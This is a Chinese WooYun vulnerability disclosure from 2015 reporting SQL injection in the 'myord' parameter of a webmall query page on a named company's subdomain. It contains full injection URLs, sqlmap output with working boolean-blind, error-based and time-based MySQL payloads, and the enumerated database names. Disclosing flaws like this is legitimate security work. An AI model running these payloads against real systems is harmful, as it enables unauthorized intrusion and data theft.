当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144270

漏洞标题:中国E动网某站存在SQL注入漏洞

相关厂商:中国E动网

漏洞作者: 路人甲

提交时间:2015-10-01 22:37

修复时间:2015-10-13 09:00

公开时间:2015-10-13 09:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国E动网隶属于上海欧网网络科技发展有限公司(www.edong.com)成立于2003年,注册资金1000万元,2011年荣获国家级高新技术企业称号。
等有钱了来注册个域名 T_T

详细说明:

注入点1:
http://zzjz2.edong.com/webmall/query.php?page=1&catid=43&typeid=0&myord=id&myshownums=&author=&fromprice=&toprice=&key=
注入点2:
http://zzjz2.edong.com/webmall/query.php?key=88952634&imageField=88952634&catid=0&typeid=0&myord=88952634
注入参数:myord
加单引号判断:

edong 单引号.jpg


and 1=1 :

edong 1=1.jpg


丢到sqlmap:

GET parameter 'myord' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1135 HTTP(s)
requests:
---
Parameter: myord (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: page=1&catid=43&typeid=0&myord=id RLIKE (SELECT (CASE WHEN (1843=18
43) THEN 0x6964 ELSE 0x28 END))&myshownums=&author=&fromprice=&toprice=&key=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: page=1&catid=43&typeid=0&myord=id AND (SELECT 9377 FROM(SELECT COUN
T(*),CONCAT(0x716b7a7871,(SELECT (ELT(9377=9377,1))),0x7171707871,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=&author=&fr
omprice=&toprice=&key=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: page=1&catid=43&typeid=0&myord=id AND SLEEP(5)&myshownums=&author=&
fromprice=&toprice=&key=
---
[15:31:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:31:44] [INFO] fetching database names
[15:31:52] [INFO] the SQL query used returns 3 entries
[15:31:52] [INFO] retrieved: information_schema
[15:31:53] [INFO] retrieved: test
[15:31:53] [INFO] retrieved: zzjz2phpweb
available databases [3]:
[*] information_schema
[*] test
[*] zzjz2phpweb


漏洞证明:

数据库:

edong 数据库.jpg


表信息:

edong 表.jpg


第二个注入点直接爆出网站绝对路径:

edong注入点.jpg


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-13 09:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无